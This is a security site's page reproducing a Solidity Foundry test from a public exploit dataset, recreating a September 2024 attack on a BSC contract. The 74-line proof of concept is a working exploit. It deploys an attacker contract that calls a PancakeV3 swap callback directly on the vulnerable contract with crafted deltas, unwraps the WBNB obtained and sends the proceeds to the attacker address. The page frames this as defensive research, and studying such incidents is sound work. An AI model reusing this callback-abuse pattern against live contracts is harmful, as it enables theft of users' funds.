Skip to content
THREATWIRE

Public reproduction file

src/test/2024-09/unverified_766a_exp.sol

Public reproduction file for dataset entry Unverified_766a.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-09/unverified_766a_exp.sol74 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : 100 USD
7// Attacker : https://bscscan.com/address/0xba35d089addac99a8e7bcd1a25712b1702623ae3
8// Attack Contract : https://bscscan.com/address/0xd310431e98412eb9a7c66808478bf08fdea81e2a
9// Vulnerable Contract : https://bscscan.com/address/0x766a0936ff0ad045d39871846194edbd5df63a58
10// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x73d459ad3c926f5247a2018197d13b2a0acbc1fc46e1e54525c210a46130a56b
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x766a0936ff0ad045d39871846194edbd5df63a58
14// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1836339028616188321
17// Twitter Guy : https://x.com/TenArmorAlert/status/1836339028616188321
18// Hacking God : N/A
20address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
21address constant addr1 = 0x766a0936FF0aD045d39871846194eDBd5DF63a58;
22address constant attacker = 0xbA35D089adDaC99A8e7BcD1a25712B1702623Ae3;
23address constant addr2 = 0x71cd31a564FF30ba61d7167a02Babc1484034E84;
25contract ContractTest is Test {
26 function setUp() public {
27 vm.createSelectFork("bsc", 42357807);
28 deal(attacker, 3.52e-15 ether);
29 }
31 function testPoC() public {
32 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
33 vm.startPrank(attacker, attacker);
34 AttackerC attC = new AttackerC();
35 attC.attack{value: 3.52e-15 ether}();
36 vm.stopPrank();
37 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
38 emit log_named_decimal_uint("after attack: balance of address(attC)", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(address(attC)), 18);
39 }
42// 0xD310431E98412Eb9a7c66808478bF08fdea81E2a
43contract AttackerC {
44 function attack() public payable {
45 int256 amount0Delta = -247659866327218868765;
46 int256 amount1Delta = int256(int(51156128500000 * 3600));
47 bytes memory data = abi.encode(address(this), addr1);
49 bytes4 sel = bytes4(keccak256("pancakeV3SwapCallback(int256,int256,bytes)"));
50 (bool ok, ) = addr2.call(abi.encodeWithSelector(sel, amount0Delta, amount1Delta, data));
51 require(ok, "callback failed");
53 withdraw();
55 (bool s, ) = attacker.call{value:address(this).balance}("");
56 }
58 function withdraw() public {
59 uint bal = IERC20(wbnb).balanceOf(address(this));
60 if (bal > 1) {
61 // Use call to avoid explicit conversion error
62 (bool ok, ) = wbnb.call(abi.encodeWithSignature("withdraw(uint256)", bal - 1));
63 require(ok, "withdraw failed");
64 }
65 }
67 function token1() external pure returns (address) {
68 return wbnb;
69 }
71 // fallback as per trace: no logic
72 fallback() external payable { }
73 receive() external payable { }

Analysis

Dataset entry

Public Foundry test for “Unverified_766a” (2024-09-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xba35d089addac99a8e7bcd1a25712b1702623ae3

  • Attack Contract

    0xd310431e98412eb9a7c66808478bf08fdea81e2a

  • Vulnerable Contract

    0x766a0936ff0ad045d39871846194edbd5df63a58

  • Attack Tx

    0x73d459ad3c926f5247a2018197d13b2a0acbc1fc46e1e54525c210a46130a56b

File record

Name
Unverified_766a
Path
src/test/2024-09/unverified_766a_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
04186894fcd25fb4cb32ddf5a6a9ea9f66b96905
Language
Solidity
Size
74 lines
Date
2024-09-18
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2024-09/unverified_766a_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 04186894fcd25fb4cb32ddf5a6a9ea9f66b96905, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.